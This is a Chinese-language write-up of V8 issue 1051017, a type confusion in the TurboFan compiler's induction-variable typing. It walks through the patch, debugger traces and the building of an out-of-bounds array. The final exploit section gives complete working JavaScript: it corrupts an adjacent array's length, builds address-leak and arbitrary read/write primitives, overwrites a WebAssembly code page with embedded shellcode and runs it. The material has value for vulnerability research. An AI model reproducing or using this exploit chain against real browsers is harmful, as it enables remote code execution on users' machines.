chrome issue 1051017 v8 逃逸

 

0x00 前言

chrome issue 1051017是2020年2月公布的一个v8漏洞,该漏洞是在JIT优化时对循环变量的类型估算考虑不周导致的compiler阶段的类型混淆,通过compiler阶段的类型混淆进一步构造OOB溢出。

 

0x01 前置知识

induction variable指循环中的一个变量,其值在每一次循环迭代过程中增加(或减少)固定的值,也就是循环中的i变量等。有关编译器确定程序中循环变量的算法,可以阅读论文INTERPROCEDURAL INDUCTION VARIABLE ANALYSIS

 

0x02 issue 1051017 分析

patch分析

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 14ec856..4e86b96 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -847,30 +847,24 @@
   DCHECK_EQ(IrOpcode::kLoop, NodeProperties::GetControlInput(node)->opcode());
   DCHECK_EQ(2, NodeProperties::GetControlInput(node)->InputCount());

-  auto res = induction_vars_->induction_variables().find(node->id());
-  DCHECK(res != induction_vars_->induction_variables().end());
-  InductionVariable* induction_var = res->second;
-  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
   Type initial_type = Operand(node, 0);
   Type increment_type = Operand(node, 2);

-  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
-                                  increment_type.Is(typer_->cache_->kInteger);
-  bool maybe_nan = false;
-  // The addition or subtraction could still produce a NaN, if the integer
-  // ranges touch infinity.
-  if (both_types_integer) {
-    Type resultant_type =
-        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
-            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
-            : typer_->operation_typer()->NumberSubtract(initial_type,
-                                                        increment_type);
-    maybe_nan = resultant_type.Maybe(Type::NaN());
+  // If we do not have enough type information for the initial value or
+  // the increment, just return the initial value's type.
+  if (initial_type.IsNone() ||
+      increment_type.Is(typer_->cache_->kSingletonZero)) {
+    return initial_type;
   }

-  // We only handle integer induction variables (otherwise ranges
-  // do not apply and we cannot do anything).
-  if (!both_types_integer || maybe_nan) {
+  // We only handle integer induction variables (otherwise ranges do not apply
+  // and we cannot do anything). Moreover, we don't support infinities in
+  // {increment_type} because the induction variable can become NaN through
+  // addition/subtraction of opposing infinities.
+  if (!initial_type.Is(typer_->cache_->kInteger) ||
+      !increment_type.Is(typer_->cache_->kInteger) ||
+      increment_type.Min() == -V8_INFINITY ||
+      increment_type.Max() == +V8_INFINITY) {
     // Fallback to normal phi typing, but ensure monotonicity.
     // (Unfortunately, without baking in the previous type, monotonicity might
     // be violated because we might not yet have retyped the incrementing
@@ -883,14 +877,13 @@
     }
     return type;
   }
-  // If we do not have enough type information for the initial value or
-  // the increment, just return the initial value's type.
-  if (initial_type.IsNone() ||
-      increment_type.Is(typer_->cache_->kSingletonZero)) {
-    return initial_type;
-  }

   // Now process the bounds.
+  auto res = induction_vars_->induction_variables().find(node->id());
+  DCHECK(res != induction_vars_->induction_variables().end());
+  InductionVariable* induction_var = res->second;
+  InductionVariable::ArithmeticType arithmetic_type = induction_var->Type();
+
   double min = -V8_INFINITY;
   double max = V8_INFINITY;

@@ -946,8 +939,8 @@
     // The lower bound must be at most the initial value's lower bound.
     min = std::min(min, initial_type.Min());
   } else {
-    // Shortcut: If the increment can be both positive and negative,
-    // the variable can go arbitrarily far, so just return integer.
+    // If the increment can be both positive and negative, the variable can go
+    // arbitrarily far.
     return typer_->cache_->kInteger;
   }
   if (FLAG_trace_turbo_loop) {
diff --git a/test/mjsunit/compiler/regress-1051017.js b/test/mjsunit/compiler/regress-1051017.js
new file mode 100644
index 0000000..16ed22e
--- /dev/null
+++ b/test/mjsunit/compiler/regress-1051017.js
@@ -0,0 +1,34 @@
+// Copyright 2020 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+
+function foo1() {
+  var x = -Infinity;
+  var i = 0;
+  for (; i < 1; i += x) {
+    if (i == -Infinity) x = +Infinity;
+  }
+  return i;
+}
+
+%PrepareFunctionForOptimization(foo1);
+assertEquals(NaN, foo1());
+assertEquals(NaN, foo1());
+%OptimizeFunctionOnNextCall(foo1);
+assertEquals(NaN, foo1());
+
+
+function foo2() {
+  var i = -Infinity;
+  for (; i <= 42; i += Infinity) { }
+  return i;
+}
+
+%PrepareFunctionForOptimization(foo2);
+assertEquals(NaN, foo2());
+assertEquals(NaN, foo2());
+%OptimizeFunctionOnNextCall(foo2);
+assertEquals(NaN, foo2());

该patch是用于修复ISSUE 1051017漏洞的,该patch的批注如下

The bug is that induction variable typing does not take into account
that the value can become NaN through addition or subtraction of
Infinities. The previous fix incorrectly assumed that this can only
happen when the initial value of the loop variable is an Infinity.

该patch位于src/compiler/typer.cc源文件的Typer::Visitor::TypeInductionVariablePhi函数,从文件名和函数名可以推出,该函数属于JIT编译器的一部分,并且可能是在Typer阶段被调用,且与循环变量(induction variables)有关。

调试分析

为了弄清楚漏洞原理,我们回退到parent版本,编译v8引擎以后进行调试,我们使用其给出的poc进行调试

function foo() {
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    return i;
}

%PrepareFunctionForOptimization(foo);
print(Object.is(foo(), NaN));
print(Object.is(foo(), NaN));
%OptimizeFunctionOnNextCall(foo);
print(Object.is(foo(), NaN));

在该poc中,i就是induction variables,而x就是increment
首先Typer::Visitor::TypeInductionVariablePhi设置断点,然后运行poc,来到both_types_integer的判断

   857   const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
   858                                   increment_type.Is(typer_->cache_->kInteger);
 ► 859   bool maybe_nan = false;
   860   // The addition or subtraction could still produce a NaN, if the integer
   861   // ranges touch infinity.
   862   if (both_types_integer) {
   863     Type resultant_type =
   864         (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffda7688b70 —▸ 0x7ffda7688ba0 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 ◂— ...
01:0008│      0x7ffda7688b78 —▸ 0x7f727414f6f3 ◂— and    al, 1
02:0010│      0x7ffda7688b80 ◂— 0x0
03:0018│      0x7ffda7688b88 ◂— 0x100561e3b28c9d0
04:0020│      0x7ffda7688b90 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 —▸ 0x7f72744a74a0 ◂— ...
05:0028│      0x7ffda7688b98 —▸ 0x561e3b28c9d0 ◂— 0x45e00000004
06:0030│      0x7ffda7688ba0 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 —▸ 0x7f72744a74a0 ◂— ...
07:0038│      0x7ffda7688ba8 —▸ 0x7ffda7688bc8 —▸ 0x561e3b26eb40 —▸ 0x7f7274ace980 —▸ 0x7f72749fc8f8 ◂— ...
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
 ► f 0     7f7274829ec9 v8::internal::compiler::Typer::Visitor::TypeInductionVariablePhi(v8::internal::compiler::Node*)+825
   f 1     7f7274822627 v8::internal::compiler::Typer::Visitor::Reduce(v8::internal::compiler::Node*)+2887
   f 2     7f7274531c97 v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)+231
   f 3     7f72745318b7 v8::internal::compiler::GraphReducer::ReduceTop()+775
   f 4     7f72745312b1 v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)+209
   f 5     7f7274531ba0 v8::internal::compiler::GraphReducer::ReduceGraph()+48
   f 6     7f727481b510
   f 7     7f727473faad
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p both_types_integer
$8 = true

因为poc里,induction variablesi初始值为0,属于typer_->cache_->kInteger类型,然后incrementx初始值为-Infinity,也属于typer_->cache_->kInteger类型,因此,接下来会进入if分支

   862   if (both_types_integer) {
   863     Type resultant_type =
 ► 864         (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
   865             ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
   866             : typer_->operation_typer()->NumberSubtract(initial_type,
   867                                                         increment_type);
   868     maybe_nan = resultant_type.Maybe(Type::NaN());
   869   }
──────────────────────────────────

执行后,maybe_nan为false,这样程序顺利绕过了下面的if

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }

接下来就开始正式处理循环逻辑了

   897   double increment_min;
   898   double increment_max;
   899   if (arithmetic_type == InductionVariable::ArithmeticType::kAddition) {
   900     increment_min = increment_type.Min();
   901     increment_max = increment_type.Max();
 ► 902   } else {
   903     DCHECK_EQ(InductionVariable::ArithmeticType::kSubtraction, arithmetic_type);
   904     increment_min = -increment_type.Max();
   905     increment_max = -increment_type.Min();
   906   }

由于poc里,i执行的操作是+=,满足条件arithmetic_type == InductionVariable::ArithmeticType::kAddition,因此,increment_min等于-inf,而increment_max等于inf,那么就直接进入下面的else分支,返回typer_->cache_->kInteger;类型

if (increment_min >= 0) {
...
} else if (increment_max <= 0) {
...
} else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }

回到上层调用,最终发现,该函数在v8::internal::compiler::Typer::Run时调用。

pwndbg> return
#0  0x00007f72745318b7 in v8::internal::compiler::GraphReducer::ReduceTop (this=0x7ffda768a7a8) at ../../src/compiler/graph-reducer.cc:156
156      Reduction reduction = Reduce(node);
pwndbg> return
#0  v8::internal::compiler::GraphReducer::ReduceNode (this=0x7ffda768a7a8, node=0x561e3b26f350) at ../../src/compiler/graph-reducer.cc:60
60        } else if (!revisit_.empty()) {
pwndbg> return
#0  0x00007f7274531ba0 in v8::internal::compiler::GraphReducer::ReduceGraph (this=0x7ffda768a7a8) at ../../src/compiler/graph-reducer.cc:81
81    void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }
pwndbg> return
#0  v8::internal::compiler::Typer::Run (this=0x561e3b1baa50, roots=..., induction_vars=0x7ffda768a950) at ../../src/compiler/typer.cc:433
433      if (induction_vars != nullptr) {

从以上调试情况来看,我们可以知道Typer::Visitor::TypeInductionVariablePhi函数是在Typer阶段用于确定induction variables循环变量的最终类型的。通过调试知道,JIT编译器认为poc里的这个循环,i最终类型为typer_->cache_->kInteger;,然而,在实际的普通js层,测试发现,i最终类型为NaN

function foo() {
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    return i;
}
undefined
foo()
NaN

由此,可以知道,该漏洞使得JIT层面和普通JS层面对循环变量i的类型判断不一致,也就是在JIT层面有一个类型混淆。

漏洞修复分析

我们来看一下该漏洞是如何被修复的

-  // We only handle integer induction variables (otherwise ranges
-  // do not apply and we cannot do anything).
-  if (!both_types_integer || maybe_nan) {
+  // We only handle integer induction variables (otherwise ranges do not apply
+  // and we cannot do anything). Moreover, we don't support infinities in
+  // {increment_type} because the induction variable can become NaN through
+  // addition/subtraction of opposing infinities.
+  if (!initial_type.Is(typer_->cache_->kInteger) ||
+      !increment_type.Is(typer_->cache_->kInteger) ||
+      increment_type.Min() == -V8_INFINITY ||
+      increment_type.Max() == +V8_INFINITY) {

主要是在原来这个if里面增加了两个条件,判断increment_type.Min()increment_type.Max()的值

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }

如果两个值分别为-V8_INFINITY+V8_INFINITY,那么经过type = Type::Union(type, Operand(node, i), zone());操作,type类型为NaN与JS层面保持一致。

 

0x03 issue 1051017 漏洞利用

OOB数组构造

首先,在原有的基础上加入一个数组

function opt(index) {
    var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1);
    return x;
}

%PrepareFunctionForOptimization(opt);
print(Object.is(opt(), NaN));
print(Object.is(opt(), NaN));
%OptimizeFunctionOnNextCall(opt);
print(Object.is(opt(), NaN));

运行结果并无差异

root@ubuntu:~/Desktop/v8/out.gn/x64.debug# ./d8 p.js --allow-natives-syntax
true
true
true

我们查看一下IR图
可以发现在Typer阶段,var x = Math.max(i,1);这句已经形成了一个节点为Range(1,inf)

我们再来看一下加入修复补丁以后的v8运行的IR图,修复后其值为NaN

现在的情况是编译器认为其值为Range(1,INF),而真实值为NaN

    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1);

现在,我们需要利用某种方法,使得compiler形成的Range在数组长度之内,而reality真值则实际大于数组长度。考虑做如下运算

    //compiler:Range(-INF,-1)
    //reality:NaN
    x = -x; 
    //compiler:Range(-2,-1)
    //reality:NaN
    x = Math.max(x,-2);
    //compiler:Range(-2,-1)
    //reality:0
    x >>= 0;

首先,将区间取反,这样,对于编译器来说是Range(-INF,-1)而真值却为NaN,接下来再用max函数,使得Range估算为(-2,-1),真值却仍然为NaN,然后利用>>运算,>> 0运算可以使得NaN的值变为0,使得编译器认为Range(-2,-1),而真值为0。
然后,我们查看IR图

正如预料的那样,编译器的最终评估为Range(-2,-1)
为了进一步调试真实值的计算过程,我们使用如下代码进行调试

function opt(index) {
    var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1); //
    //compiler:Range(-INF,-1)
    //reality:NaN
    x = -x; //
    //compiler:Range(-2,-1)
    //reality:NaN
    x = Math.max(x,-2);
    //compiler:Range(-2,-1)
    //reality:0
    x >>= 0; //
    return x;
}
%PrepareFunctionForOptimization(opt);
print(opt(5));
%OptimizeFunctionOnNextCall(opt);
print(opt(5));
%SystemBreak();
print(opt(5));

使用如下参数进行调试

set args --allow-natives-syntax ./p.js -print-opt-code

在打印出JIT代码和地址后,我们在JIT代码地址出断点然后调试
这里是for循环的逻辑

pwndbg> u rip
   0x257b00082b8c    vpsllq xmm3, xmm3, 0x36
   0x257b00082b91    vpsrlq xmm3, xmm3, 2
   0x257b00082b96    vmovapd xmm1, xmm0
   0x257b00082b9a    vmovapd xmm2, xmm0
   0x257b00082b9e    jmp    0x257b00082bb4 <0x257b00082bb4>
    ↓
 ► 0x257b00082bb4    vucomisd xmm3, xmm2
   0x257b00082bb8    seta   dl
   0x257b00082bbb    movzx  edx, dl
   0x257b00082bbe    cmp    edx, 0
   0x257b00082bc1    je     0x257b00082be9 <0x257b00082be9>

   0x257b00082bc7    cmp    rsp, qword ptr [r13 + 0x60]
pwndbg> p $xmm3
$14 = {
  v4_float = {0, 1.875, 0, 1.875}, 
  v2_double = {1, 1}, 
  v16_int8 = {0, 0, 0, 0, 0, 0, -16, 63, 0, 0, 0, 0, 0, 0, -16, 63}, 
  v8_int16 = {0, 0, 0, 16368, 0, 0, 0, 16368}, 
  v4_int32 = {0, 1072693248, 0, 1072693248}, 
  v2_int64 = {4607182418800017408, 4607182418800017408}, 
  uint128 = 84987514980498058628394346335474548736
}
pwndbg> p $xmm2
$15 = {
  v4_float = {0, -nan(0x700000), 0, -nan(0x700000)}, 
  v2_double = {-inf, -inf}, 
  v16_int8 = {0, 0, 0, 0, 0, 0, -16, -1, 0, 0, 0, 0, 0, 0, -16, -1}, 
  v8_int16 = {0, 0, 0, -16, 0, 0, 0, -16}, 
  v4_int32 = {0, -1048576, 0, -1048576}, 
  v2_int64 = {-4503599627370496, -4503599627370496}, 
  uint128 = 340199290171201906239760359964582871040
}

当for循环逻辑结束后,此时查看循环变量i的值

 ► 0x257b00082bf2    vmovapd xmm3, xmm2
   0x257b00082bf6    vpcmpeqd xmm4, xmm4, xmm4
   0x257b00082bfa    vpsllq xmm4, xmm4, 0x3f
   0x257b00082bff    vxorpd xmm0, xmm4, xmm3
   0x257b00082c03    vpcmpeqd xmm3, xmm3, xmm3
   0x257b00082c07    vpsllq xmm3, xmm3, 0x3e
───────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffe9b633928 ◂— 0xc /* '\x0c' */
01:0008│      0x7ffe9b633930 ◂— 0x84
02:0010│      0x7ffe9b633938 —▸ 0x257b08240cf5 ◂— 0xb90000020a082801
03:0018│      0x7ffe9b633940 —▸ 0x257b0825018d ◂— 0xe9080406e9082802
04:0020│      0x7ffe9b633948 —▸ 0x257b08240cf5 ◂— 0xb90000020a082801
05:0028│ rbp  0x7ffe9b633950 —▸ 0x7ffe9b6339b0 —▸ 0x7ffe9b6339d8 —▸ 0x7ffe9b633a40 —▸ 0x7ffe9b633a90 ◂— ...
06:0030│      0x7ffe9b633958 —▸ 0x7f23c7e30ad1 (Builtins_InterpreterEntryTrampoline+209) ◂— mov    r14, qword ptr [rbp - 0x18]
07:0038│      0x7ffe9b633960 ◂— 0xa /* '\n' */
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────
 ► f 0     257b00082bf2
   f 1                c
   f 2               84
   f 3     257b08240cf5
   f 4     257b0825018d
   f 5     257b08240cf5
   f 6     7ffe9b6339b0
   f 7     7f23c7e30ad1 Builtins_InterpreterEntryTrampoline+209
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p $xmm2
$23 = {
  v4_float = {0, -nan(0x780000), 0, -nan(0x700000)}, 
  v2_double = {-nan(0x8000000000000), -inf}, 
  v16_int8 = {0, 0, 0, 0, 0, 0, -8, -1, 0, 0, 0, 0, 0, 0, -16, -1}, 
  v8_int16 = {0, 0, 0, -8, 0, 0, 0, -16}, 
  v4_int32 = {0, -524288, 0, -1048576}, 
  v2_int64 = {-2251799813685248, -4503599627370496}, 
  uint128 = 340199290171201906239762611764396556288
}

i现在是-NaN,执行x = -x以后·,来到x = Math.max(x,-2);逻辑

pwndbg> p $xmm3
$27 = {
  v4_float = {0, -2, 0, -2}, 
  v2_double = {-2, -2}, 
  v16_int8 = {0, 0, 0, 0, 0, 0, 0, -64, 0, 0, 0, 0, 0, 0, 0, -64}, 
  v8_int16 = {0, 0, 0, -16384, 0, 0, 0, -16384}, 
  v4_int32 = {0, -1073741824, 0, -1073741824}, 
  v2_int64 = {-4611686018427387904, -4611686018427387904}, 
  uint128 = 255211775190703847611366013629108322304
}
pwndbg> p $xmm0
$28 = {
  v4_float = {0, nan(0x780000), 0, nan(0x700000)}, 
  v2_double = {nan(0x8000000000000), inf}, 
  v16_int8 = {0, 0, 0, 0, 0, 0, -8, 127, 0, 0, 0, 0, 0, 0, -16, 127}, 
  v8_int16 = {0, 0, 0, 32760, 0, 0, 0, 32752}, 
  v4_int32 = {0, 2146959360, 0, 2146435072}, 
  v2_int64 = {9221120237041090560, 9218868437227405312}, 
  uint128 = 170058106710732674498851936011657674752
}

最后>> 0运算被转换为了如下代码

   0x257b00082c5e    vcvttsd2si edx, xmm3
   0x257b00082c62    lea    eax, [rdx + rdx]
   RAX  0x0
   RDX  0x80000000

通过调试,我们发现,生成的JIT代码是没有问题的,确实是按照NaN来运算,bug仅出现在IR分析阶段。接下来,我们继续构造

function opt(index) {
    var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1); //
    //compiler:Range(-INF,-1)
    //reality:NaN
    x = -x; //
    //compiler:Range(-2,-1)
    //reality:NaN
    x = Math.max(x,-2);
    //compiler:Range(-2,-1)
    //reality:0
    x >>= 0; //
    //compiler:Range(0,1)
    //reality:2
    x += 2;
    //compiler:Range(0,7)
    //reality:Range(0,7)
    index &= 0x7;
    //compiler:Range(0,7)
    //reality:Range(0,14)
    index *= x;
    return a[index];
}

这样可以使得编译器的估测值比真实运算结果小,由此发生溢出。运行发现程序直接崩溃

root@ubuntu:~/Desktop/v8/out.gn/x64.bug# ./d8 poc.js --trace-turbo --allow-natives-syntax
Concurrent recompilation has been disabled for tracing.
undefined
---------------------------------------------------
Begin compiling method opt using TurboFan
---------------------------------------------------
Finished compiling method opt using TurboFan
Trace/breakpoint trap (core dumped)

分析IR图,checkboundsRange(0,7)在数组长度之内,在后续,该checkbounds会被移除

V8.TFEffectLinearization 369阶段,已经没有了边界检查,因此也可以溢出

从IR图中,未分析出任何异常,因此,我们继续调试JIT代码

 R8   0x80000000
 R9   0x55f4d8748520 —▸ 0x17608100000 ◂— 0x40000
 R10  0x4023cccccccccccd
 R11  0x5
*R12  0x17608243c81 ◂— 0x310000005408040b
 R13  0x17600000000 —▸ 0x7ffebe6b7a18 ◂— 0x17600000000
 R14  0x1760825009d ◂— 0x89000000e0080409
 R15  0x55f4d87144c0 —▸ 0x7f451f0e2360 (Builtins_WideHandler) ◂— lea    rbx, [rip - 7]
 RBP  0x7ffebe6b67b0 —▸ 0x7ffebe6b6810 —▸ 0x7ffebe6b6838 —▸ 0x7ffebe6b68a0 —▸ 0x7ffebe6b68f0 ◂— ...
 RSP  0x7ffebe6b6780 —▸ 0x7ffebe6b67c0 ◂— 0xa /* '\n' */
*RIP  0x17600082d2b ◂— add    r8d, 2
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
   0x17600082d12    mov    r11, qword ptr [rbp + 0x10]
   0x17600082d16    sar    r11d, 1
   0x17600082d19    movabs r12, 0x17608243a45
   0x17600082d23    mov    r12d, dword ptr [r12 + 3]
   0x17600082d28    add    r12, r13
 ► 0x17600082d2b    add    r8d, 2

调试中看出,在执行x += 2;时,x(寄存器r8)的值仍然为0x80000000,最终使得运算的下标为R8 0x8000000a,即有一个符号位的存在,因此,我们可以在最后添加一个移位操作,用于移除NaN计算造成的符号位。完整的OOB构造方法如下

function opt(index) {
    var a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1); //
    //compiler:Range(-INF,-1)
    //reality:NaN
    x = -x; //
    //compiler:Range(-2,-1)
    //reality:NaN
    x = Math.max(x,-2);
    //compiler:Range(-2,-1)
    //reality:0
    x >>= 0; //
    //compiler:Range(0,1)
    //reality:2
    x += 2;
    //compiler:Range(0,7)
    //reality:Range(0,7)
    index &= 0x7;
    //compiler:Range(0,7)
    //reality:Range(0,14)
    index *= x;
    index <<= 1;
    index >>= 1;
    return a[index];
}
%PrepareFunctionForOptimization(opt);
print(opt(5));
%OptimizeFunctionOnNextCall(opt);
print(opt(5));
%SystemBreak();
print(opt(5));

运行后发现成功溢出

root@ubuntu:~/Desktop/v8/out.gn/x64.bug# ./d8 p.js --allow-natives-syntax
undefined
-8.864952837205469e-7

疑难问题

在构造过程中,var x = Math.max(i,1);x = Math.max(x,-2);语句中的参数,位置不能调换,否则利用失败。
这是因为max函数最终是会被转换为Float64LessThan函数,

而对于一个NaN,任何的比较都是false,因此在这个情况下,max运算的真实结果将会是第一个参数

NaN == NaN
false
NaN < 1
false
NaN > 1
false

而我们的目的就是要让NaN参与真实值的计算,因此,不能调换参数的位置。
能否使用var x = i < 1 ? 1 : i来代替max函数?答案是不行。

这将导致var x = i < 1 ? 1 : i这个Phi节点与i的估测一致,同为Range(-INF,INF),因为从程序的流程分析来看,显然i < 1是恒不成立的,因为刚刚循环退出的条件就是i >= 1,因此,var x = i < 1 ? 1 : i就相当于var x = i,在后面,编译器直接评估它与i的情况一样,同为Range(-inf,inf),由此不能达到我们的利用目的。同理,var x = i > 1 ? i : 1;也不可行,它将使得i为NaN时,x的值为1。

exp编写

控制好对象布局,利用JIT的oob,覆写后方Array的length,从而构造一个自由溢出的OOB Array,然后后续就是简单的利用了。

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function i2f64(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return [dv.getUint32(0,true),dv.getUint32(4,true)];
}

function big2int(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getUint32(0,true);
}

var a;
var oob_arr;
function opt(index,leak_or_write,val) {
    a = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
    oob_arr = new Array(1.1,2.2);
    var x = -Infinity;
    var i = 0;
    for (; i < 1; i += x) {
        if (i == -Infinity) x = +Infinity;
    }
    //compiler:Range(1,INF)
    //reality:NaN
    var x = Math.max(i,1); //
    //compiler:Range(-INF,-1)
    //reality:NaN
    x = -x; //
    //compiler:Range(-2,-1)
    //reality:NaN
    x = Math.max(x,-2); //
    //compiler:Range(-2,-1)
    //reality:0
    x >>= 0; //
    //compiler:Range(0,1)
    //reality:2
    x += 2;
    //compiler:Range(0,7)
    //reality:Range(0,7)
    index &= 0x7;
    //compiler:Range(0,7)
    //reality:Range(0,14)
    index *= x;
    /*两步的作用是清除符号位*/
    index <<= 1;
    index >>= 1;
    if (leak_or_write)
       return a[index];
   else {
      a[index] = val;
   }
}


for (var i=0;i<0x20000;i++) {
   opt(7,true,i+1.1);
   opt(7,false,p64f(0,0));
}

//泄露arr的elements,用于覆写length时不破坏elements
var d = u64f(opt(7,true,1.1));
var elements_addr = d[0];
print("elements_addr=" + elements_addr.toString(16));

var oob_len = p64f(elements_addr,0x1000);
opt(7,false,oob_len);
var float64_arr = new Float64Array(1.1,2.2,3.3);
var arb_buf = new ArrayBuffer(0x10);
var obj_arr = [buf];

compression_high = u64f(oob_arr[0x32])[0];
obj_elements_map_addr = u64f(oob_arr[0x3c])[1];
double_elements_map_addr = u64f(oob_arr[0x22])[1];
print("compression_high=" + compression_high.toString(16));
print("obj_elements_map_addr=" + obj_elements_map_addr.toString(16));
print("double_elements_map_addr=" + double_elements_map_addr.toString(16));


function addressOf(mobj) {
   obj_arr[0] = mobj;
   oob_arr[0x3c] = p64f(0,double_elements_map_addr);
   var addr = BigInt(u64f(obj_arr[0])[0]) - 0x1n + (BigInt(compression_high) << 32n);
   oob_arr[0x3c] = p64f(0,obj_elements_map_addr);
   return addr;
}

/*print(addressOf(buf).toString(16));
//%DebugPrint(buf);
%SystemBreak(); */
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var wasm_shellcode_ptr_addr = addressOf(wasmInstance) + 0x68n;
print(wasm_shellcode_ptr_addr.toString(16));

oob_arr[0x36] = p64f(0,0x100);
oob_arr[0x37] = p64f(0,big2int(wasm_shellcode_ptr_addr));
oob_arr[0x38] = p64f(compression_high,0);
var adv = new DataView(arb_buf);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));

oob_arr[0x37] = p64f(0,big2int(wasm_shellcode_addr));
oob_arr[0x38] = p64f(big2int(wasm_shellcode_addr >> 32n),0);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
   adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();

/*%DebugPrint(wasmInstance);
%DebugPrint(oob_arr);
%DebugPrint(arb_buf);
%SystemBreak();
*/

 

0x04 感想

最近研究v8越来越上手了,以后还得继续努力。

 

0x05 参考

论文Interprocedural Induction Variable Analysis
